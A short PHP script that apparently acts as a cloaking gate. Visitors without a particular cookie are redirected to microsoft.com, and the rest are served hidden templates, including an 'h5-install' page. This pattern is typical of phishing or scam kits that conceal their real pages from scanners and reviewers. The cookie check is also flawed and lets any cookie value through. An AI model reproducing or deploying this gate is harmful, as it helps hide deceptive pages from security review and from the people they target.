<?php

if (!isset($_COOKIE['_safe']) && $_COOKIE['_safe'] != 'vqd37pjm4p5uodq339yzk6b7jdt6oich') {
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: https://www.microsoft.com/");
    header("Cache-Control: no-cache, no-store, must-revalidate");
    exit();
}

$view = $_GET['view'];
if ($view == 'h5-install') {
    include 'template/h5-install.html';
} else {
    include 'template/index.html';
}

exit();